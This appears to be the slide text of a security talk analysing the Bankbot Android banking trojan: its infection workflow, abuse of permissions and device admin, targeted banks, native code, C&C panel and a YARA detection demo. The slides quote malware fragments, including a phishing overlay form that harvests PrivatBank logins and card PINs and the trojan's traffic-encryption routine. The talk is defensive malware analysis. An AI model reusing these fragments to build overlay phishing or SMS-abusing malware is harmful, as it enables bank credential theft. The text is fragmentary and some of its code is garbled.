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What is Bankbot?
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AV detections
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Overlays
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Android Toast
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Cloak & Dagger



Client side
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Infection workflow
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Malicious websites are still a thing
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Infection workflow



   if (Build.VERSION.SDK_INT >= 23)
{

int i = checkCallingOrSelfPermission("android.permission.SEND_SMS");
if ((Build.VERSION.SDK_INT >= 23) && (i != 0)) {

requestPermissions(new String[] {
"android.permission.SEND_SMS", 
"android.permission.READ_CONTACTS", 
"android.permission.ACCESS_FINE_LOCATION"
}, 1);

}
}
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Infection workflow

■ android.permission.SEND_SMS
■ android.permission.READ_CONTACTS
■ android.permission.ACCESS_FINE_LOCATION
■ android.permission.DEVICE_ADMIN
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Device Admin?
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Data theft
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Data theft
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Comparison: Real Login vs Overlay
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Initial targets… 
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Increasing targets… 

Commerzbank  Royal Bank of Scotland, 
Santander Lloyds... 
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Target injects retrieval

if (packagename.equals(“ru.sberbankmobile”)) 
{

...
}
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APK has no information of 
the targeted entities

Target injects retrieval
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Targets



3
1

Targets
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JNI

● Arm64-v8a
● armeabi
● armeabi-v7a
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JNI
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JNI
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JNI

getProc()
/proc

/proc/cmdline
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JNI

send_sms
/android/telephony/SmsManager/

sendTextMessage
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JNI



Server side
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Backend
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C&C

✓

✓

✓

✓

✓

✓

✓



IMEI CARRIER/PHN NO VERSION, APK, COUNTRY   MODEL DATE  ACTIONS
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Components
■ add_inj.php
■ add_log.php
■ commands.php
■ config.php
■ crypt.php
■ kliets.php
■ tuk_tuk.php
■ set_data.php
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Communications

<tag>37 55 67 78 79 37 55 67</tag>



<form action="/private/add_inj.php?p=5w 53 56 53 5w 55 48 5e 55 54 54 53 
55 48 55 37 55 67 37 68 48 37 57 7q 37 68 49 37 56 48 7 68 48 37 66 56 
37 68 48 37 66 5q 37 68 48 37 66 48 37 68 49 37 56 5q 5q 5e 37 55 
67"method="post"id="mf"name="mf"onsubmit="return true">

<input type="tel" value="+380" placeholder="Логин" id="privat24-login" 
name="privat24_login" maxlength="13">
<input placeholder="Пароль" id="privat24-password" 
name="privat24_password">
<input placeholder="ПИН-код любой вашей карты ПриватБанк" 
id="privat24-pin" name="privat24_pin">
<button class="btn btn-success 
mb"onclick="send_info()"style="">ВОЙТИ</button>
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Data theft
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Encryption

 function encrypt(string, key) //шифрование траффа логов
str = urlencode(string)
ret = ""
for(i=0 i<mb_strlen(str) i++)

r1 = ord(mb_substr(str, i, 1))
ret  = "ret r1"

 for(i=0 i<mb_strlen(key) i++)
ret = str_replace(i, mb_substr(key, i, 1), ret)
ret = mb_substr(ret, 1, mb_strlen(ret)) //!

return ret
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It’s possible to decrypt the comms.
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Anecdotes
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Google Play
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Dropper workflow

SUCCESS?

YES

NO

NO

NO

YES

YES

Next 
reboot...







YARA - DEMO 



QUESTIONS?


